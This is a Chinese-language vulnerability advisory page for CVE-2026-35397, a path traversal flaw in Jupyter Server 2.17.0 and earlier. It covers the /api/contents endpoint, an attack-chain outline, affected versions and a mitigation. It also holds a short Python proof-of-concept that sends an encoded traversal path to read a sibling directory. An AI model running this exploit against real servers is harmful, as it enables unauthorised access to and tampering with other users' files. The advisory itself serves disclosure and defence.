IPBUF安全漏洞报告
English
CVE-2026-35397 CVSS 8.8 高危

CVE-2026-35397 Jupyter Server 路径遍历漏洞

披露日期: 2026-05-05

漏洞信息

漏洞编号
CVE-2026-35397
漏洞类型
路径遍历
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Jupyter Server

相关标签

路径遍历Jupyter ServerCVE-2026-35397目录遍历权限绕过

漏洞概述

Jupyter Server 2.17.0及更早版本在REST API中存在路径遍历漏洞。经过身份认证的攻击者可利用编码路径组件绕过root_dir限制,访问具有相同前缀的兄弟目录,并可能读取、写入或删除文件。多租户环境风险极高。

技术细节

该漏洞源于Jupyter Server REST API(/api/contents端点)对路径解析的不当处理。在配置了root_dir(如'test')的情况下,API未能有效防止目录逃逸。攻击者可通过构造包含编码路径组件的特殊请求,突破root_dir边界,访问名称前缀相同的兄弟目录(如'testtest')。利用此漏洞,攻击者可对目标目录执行任意文件读写操作。特别是在多租户部署中,若目录命名存在规律(如user1, user10),攻击者极易横向移动并控制其他用户的数据。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标Jupyter Server实例及其目录结构,特别是root_dir的配置。
STEP 2
2. 构造恶意请求
攻击者利用已知的前缀信息,构造包含编码路径组件的请求发送至/api/contents端点。
STEP 3
3. 目录逃逸
由于校验缺陷,API解析路径后允许访问root_dir之外且前缀匹配的兄弟目录。
STEP 4
4. 执行操作
攻击者成功读取、写入或删除目标兄弟目录中的敏感文件。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL setup target_url = "http://localhost:8888" token = "YOUR_AUTH_TOKEN" headers = {"Authorization": f"token {token}"} # Exploit scenario: root_dir is 'test', trying to access 'testtest' # The vulnerability allows escaping root_dir if sibling dir starts with same prefix # Using encoded path components to bypass checks malicious_path = "..%2ftesttest" # Example of encoded traversal endpoint = f"{target_url}/api/contents/{malicious_path}" response = requests.get(endpoint, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Directory content accessed:") print(response.json()) else: print("[-] Exploit failed.")

影响范围

Jupyter Server <= 2.17.0

防御指南

临时缓解措施
作为临时缓解措施,请确保部署环境中的文件夹命名不与任何兄弟目录共享相同的前缀,并避免使用可预测的单字符或序列化命名方案。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表